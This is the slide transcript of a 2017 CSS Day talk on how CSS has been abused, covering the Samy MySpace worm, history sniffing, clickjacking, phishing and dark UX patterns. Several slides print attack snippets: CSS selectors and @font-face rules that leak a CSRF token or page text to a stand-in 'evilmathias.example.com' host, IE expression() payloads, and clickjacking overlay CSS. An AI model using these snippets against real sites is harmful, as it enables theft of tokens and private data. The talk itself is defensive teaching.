CSS For Good, Not Evil

36857c1095dccf2f2c5ea470dc791530?s=47 Stephen Hay
June 16, 2017

CSS For Good, Not Evil

My talk on CSS security issues and a bit on dark UX, at CSS Day 2017 in Amsterdam

36857c1095dccf2f2c5ea470dc791530?s=128

Stephen Hay

June 16, 2017
Tweet

Transcript

  1. CSS For Evil, Not Good. How style has been used

    to manipulate people, invade their privacy, steal their data, and other assorted nasty things. Stephen Hay, CSS Day 2017, Amsterdam
  2. None
  3. None
  4. catawiki.com/jobs

  5. MySpace

  6. None
  7. None
  8. None
  9. Samy

  10. In a relationship.

  11. In a relationship. hot

  12. None
  13. but most of all, Samy is 
 my hero By

    vissago / Dan Tentler - http://www.flickr.com/photos/vissago/4861025347/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=26085303
  14. <div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34); …” </div> https://samy.pl/popular/tech.html http://www.securiteam.com/securitynews/6I00C2KEAA.html

  15. WTF https://motherboard.vice.com/en_us/article/the-myspace-worm-that-changed-the-internet-forever

  16. Samy didn’t have 
 evil intentions.

  17. I’m not a security expert.

  18. None
  19. There are different levels of evil.

  20. Level 1: Getting some 
 browsing history.

  21. weirdbutdead.com

  22. weirdbutdead.com getComputedStyle

  23. Boolean algebra & mix-blend-mode

  24. http://lcamtuf.coredump.cx/whack/ http://lcamtuf.coredump.cx/css_calc/

  25. Level 2 Mathias Bynens’ Evil Basement of Horrors

  26. Some Belgian kid 
 did a presentation… https://speakerdeck.com/mathiasbynens/3-dot-14-things-i-didnt-know-about-css-at-cssconf-dot-asia-2015

  27. Stealing DOM data

  28. <input type="hidden" name="csrf-token" id="csrf" value=“555…"> #csrf[value^="a"] { background: url(//evilmathias.example.com/?v=a); }

    #csrf[value^="b"] { background: url(//evilmathias.example.com/?v=b); } etc.
  29. Text-symbol leaking

  30. <div id=“my-dirtiest-secrets"> I think Javascript is OK </div> @font-face {

    font-family: evilmathias; src: url(//evilmathias.example.com/?v=A); unicode-range: U+0041; } #my-dirtiest-secrets { font-family: evilmathias; }
  31. Forcing IE=7 Expressions

  32. .foo { width: expression( alert(‘Bad Evil Mathias’) ); } <meta

    http-equiv="X-UA-Compatible" content="IE=7"> <iframe src=“https://target.example.com/page- with-css-payload”></iframe>
  33. Level 3 Path-relative 
 stylesheet import http://blog.portswigger.net/2015/02/prssi.html

  34. http://example.com/posts.php <link href="styles.css" rel="stylesheet" type="text/css" /> Blah blah blah *

    { width: expression( alert( ‘evil’ )) } http://example.com/posts.php/
  35. Level 4 Content replacement

  36. <style> nav {display: none;} </style> <div style”[various styles]”> Content </div>

  37. Oops: allow users to add <style>

  38. Allow users to add classes. Oops.

  39. Allow users to add classes. Oops.

  40. Level 5 UI Redressing “Clickjacking”

  41. LinkedIn

  42. .li_style { position: absolute; width: 100%; z-index: 10021; position: fixed;

    top: 0; left: 0; width: 100%; height: 100%; padding: 0; overflow-y: scroll; _overflow-y: hidden }
  43. {"content": "<p><a class=\"li_style\" href=\"http://www.example.com\">Example Site</a><img src=\"image.png\"/></p>"} - https://security.linkedin.com/blog-archive#11232015

  44. None
  45. Level 6 Phishing

  46. https://www.askdavetaylor.com/beware-the-latest-apple-id-phishing-attack/

  47. None
  48. None
  49. One thing going for us, at least for now: most

    scammers aren’t great designers.
  50. “Good” design works. Even for evil.

  51. Level 7 Dark Patterns Black Hat UX

  52. Sophisticated deceivers seem knowledgable about behaviour as well as technology.

  53. None
  54. Image: https://www.brignull.com/

  55. None
  56. None
  57. “Roach Motel”

  58. Unsubscribe…

  59. None
  60. None
  61. None
  62. Misdirection

  63. None
  64. None
  65. None
  66. None
  67. Confirmation of 
 desired behaviour

  68. Yes | No Yes | Not right now Yes |

    Maybe later There is a significant difference between these sets of choices.
  69. Exploiting 
 behavioural patterns

  70. None
  71. People who stand to gain something from you have motive

    to deceive.
  72. Level 8 Command execution 
 on a target system https://lifepluslinux.blogspot.nl/2017/01/look-before-you-paste-from-website-to.html

  73. None
  74. None
  75. When systems become more complex, the number of possible weaknesses

    can increase, yet become less apparent.
  76. What’s the
 takeaway here? Nothing.

  77. Is there a 
 positive message? No.

  78. Thank you! @stephenhay Special thanks to Mathias “Evil Belgian Kid”

    Bynens